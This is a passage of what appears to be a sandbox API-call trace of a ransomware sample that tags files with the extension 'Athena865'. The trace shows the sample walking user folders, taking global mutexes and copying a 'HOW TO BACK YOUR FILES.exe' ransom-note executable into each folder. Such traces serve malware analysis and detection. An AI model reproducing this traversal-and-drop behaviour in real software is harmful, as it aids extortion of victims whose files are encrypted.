User\\Local Settings\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\temporary internet files\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.782] GetLastError () returned 0x0 [0103.782] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.782] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.782] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Temporary Internet Files\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe553b680, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe553b680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.783] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.783] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.783] lstrcpyW (in: lpString1=0x241e8e6, lpString2="Content.IE5" | out: lpString1="Content.IE5") returned="Content.IE5" [0103.783] lstrcatW (in: lpString1="Content.IE5", lpString2="\\" | out: lpString1="Content.IE5\\") returned="Content.IE5\\" [0103.783] lstrcatW (in: lpString1="Content.IE5\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Content.IE5\\HOW TO BACK YOUR FILES.exe") returned="Content.IE5\\HOW TO BACK YOUR FILES.exe" [0103.783] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Temporary Internet Files\\Content.IE5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\temporary internet files\\content.ie5\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.783] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe553b680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0103.783] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.783] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.783] lstrcpyW (in: lpString1=0x241e8e6, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.783] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.783] lstrlenW (lpString="Athena865") returned 9 [0103.783] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.784] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7acb5a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7acb5a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.784] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.784] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe55617e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe55617e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0103.784] lstrcmpiW (lpString1="Low", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.784] lstrcmpiW (lpString1="Low", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.784] lstrcpyW (in: lpString1=0x241e8e6, lpString2="Low" | out: lpString1="Low") returned="Low" [0103.784] lstrcatW (in: lpString1="Low", lpString2="\\" | out: lpString1="Low\\") returned="Low\\" [0103.784] lstrcatW (in: lpString1="Low\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Low\\HOW TO BACK YOUR FILES.exe") returned="Low\\HOW TO BACK YOUR FILES.exe" [0103.784] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Temporary Internet Files\\Low\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\temporary internet files\\low\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.784] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe55617e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe55617e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 1 [0103.784] lstrcmpiW (lpString1="Virtualized", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.784] lstrcmpiW (lpString1="Virtualized", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.784] lstrcpyW (in: lpString1=0x241e8e6, lpString2="Virtualized" | out: lpString1="Virtualized") returned="Virtualized" [0103.785] lstrcatW (in: lpString1="Virtualized", lpString2="\\" | out: lpString1="Virtualized\\") returned="Virtualized\\" [0103.785] lstrcatW (in: lpString1="Virtualized\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Virtualized\\HOW TO BACK YOUR FILES.exe") returned="Virtualized\\HOW TO BACK YOUR FILES.exe" [0103.785] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Temporary Internet Files\\Virtualized\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\temporary internet files\\virtualized\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.785] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe55617e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe55617e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 0 [0103.785] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.785] ReleaseMutex (hMutex=0xec) returned 1 [0103.785] CloseHandle (hObject=0xec) returned 1 [0103.785] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\My Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\Default User\\My Documents\\My Music") returned="C:\\Documents and Settings\\Default User\\My Documents\\My Music" [0103.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0103.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cde0 | out: hHeap=0x4f0000) returned 1 [0103.785] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\My Documents\\My Music") returned 60 [0103.785] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\78E7C91FB86BB8C3994C1A968F55189D") returned 0xec [0103.786] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.786] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\My Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\Default User\\My Documents\\My Music") returned="C:\\Documents and Settings\\Default User\\My Documents\\My Music" [0103.786] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.786] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\My Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\my documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.786] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\My Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\my documents\\my music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.786] GetLastError () returned 0x0 [0103.786] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.787] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.787] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\My Documents\\My Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7af1700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7af1700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.787] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.787] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.787] lstrcpyW (in: lpString1=0x241e8c2, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.787] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.787] lstrlenW (lpString="Athena865") returned 9 [0103.787] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.787] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.787] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.787] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0103.787] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.787] ReleaseMutex (hMutex=0xec) returned 1 [0103.787] CloseHandle (hObject=0xec) returned 1 [0103.787] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\My Documents\\My Pictures" | out: lpString1="C:\\Documents and Settings\\Default User\\My Documents\\My Pictures") returned="C:\\Documents and Settings\\Default User\\My Documents\\My Pictures" [0103.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0103.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cdc8 | out: hHeap=0x4f0000) returned 1 [0103.787] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\My Documents\\My Pictures") returned 63 [0103.787] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\48EF8A52241BADDAB707021495840E34") returned 0xec [0103.788] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.788] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\My Documents\\My Pictures" | out: lpString1="C:\\Documents and Settings\\Default User\\My Documents\\My Pictures") returned="C:\\Documents and Settings\\Default User\\My Documents\\My Pictures" [0103.788] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.788] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\My Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\my documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.788] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\My Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\my documents\\my pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.788] GetLastError () returned 0x0 [0103.788] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.789] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.789] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\My Documents\\My Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7b3d9c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b3d9c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.789] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.789] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.789] lstrcpyW (in: lpString1=0x241e8c8, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.789] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.789] lstrlenW (lpString="Athena865") returned 9 [0103.789] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.789] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1a3a40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.789] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.789] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1a3a40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0103.789] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.789] ReleaseMutex (hMutex=0xec) returned 1 [0103.789] CloseHandle (hObject=0xec) returned 1 [0103.789] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\My Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\Default User\\My Documents\\My Videos") returned="C:\\Documents and Settings\\Default User\\My Documents\\My Videos" [0103.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0103.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cc60 | out: hHeap=0x4f0000) returned 1 [0103.790] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\My Documents\\My Videos") returned 61 [0103.790] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\16D9B310D3C2B5C587C865034EAF9C0C") returned 0xec [0103.790] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.790] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\My Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\Default User\\My Documents\\My Videos") returned="C:\\Documents and Settings\\Default User\\My Documents\\My Videos" [0103.790] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.790] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\My Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\my documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.790] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\My Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\my documents\\my videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.791] GetLastError () returned 0x0 [0103.791] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.791] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.791] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\My Documents\\My Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d78e60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d78e60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.791] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.791] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.791] lstrcpyW (in: lpString1=0x241e8c4, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.791] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.791] lstrlenW (lpString="Athena865") returned 9 [0103.791] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.791] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1efd00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.791] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.791] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1efd00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0103.791] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.791] ReleaseMutex (hMutex=0xec) returned 1 [0103.791] CloseHandle (hObject=0xec) returned 1 [0103.791] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Documents and Settings\\Default User\\Recent\\AutomaticDestinations") returned="C:\\Documents and Settings\\Default User\\Recent\\AutomaticDestinations" [0103.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ee8 | out: hHeap=0x4f0000) returned 1 [0103.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ce40 | out: hHeap=0x4f0000) returned 1 [0103.792] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Recent\\AutomaticDestinations") returned 67 [0103.792] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\76D187A9A037376B8A473635C3D69E89") returned 0xec [0103.792] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.792] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Documents and Settings\\Default User\\Recent\\AutomaticDestinations") returned="C:\\Documents and Settings\\Default User\\Recent\\AutomaticDestinations" [0103.792] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.792] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Recent\\AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\recent\\automaticdestinations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.792] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Recent\\AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\recent\\automaticdestinations\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.792] GetLastError () returned 0x0 [0103.792] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.793] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.793] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Recent\\AutomaticDestinations\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe55adaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe55adaa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.793] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.793] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.793] lstrcpyW (in: lpString1=0x241e8d0, lpString2="1b4dd67f29cb1962.automaticDestinations-ms.Athena865" | out: lpString1="1b4dd67f29cb1962.automaticDestinations-ms.Athena865") returned="1b4dd67f29cb1962.automaticDestinations-ms.Athena865" [0103.793] lstrlenW (lpString="1b4dd67f29cb1962.automaticDestinations-ms.Athena865") returned 51 [0103.793] lstrlenW (lpString="Athena865") returned 9 [0103.793] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.793] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b63b20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7b63b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.793] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.793] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b63b20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7b63b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, 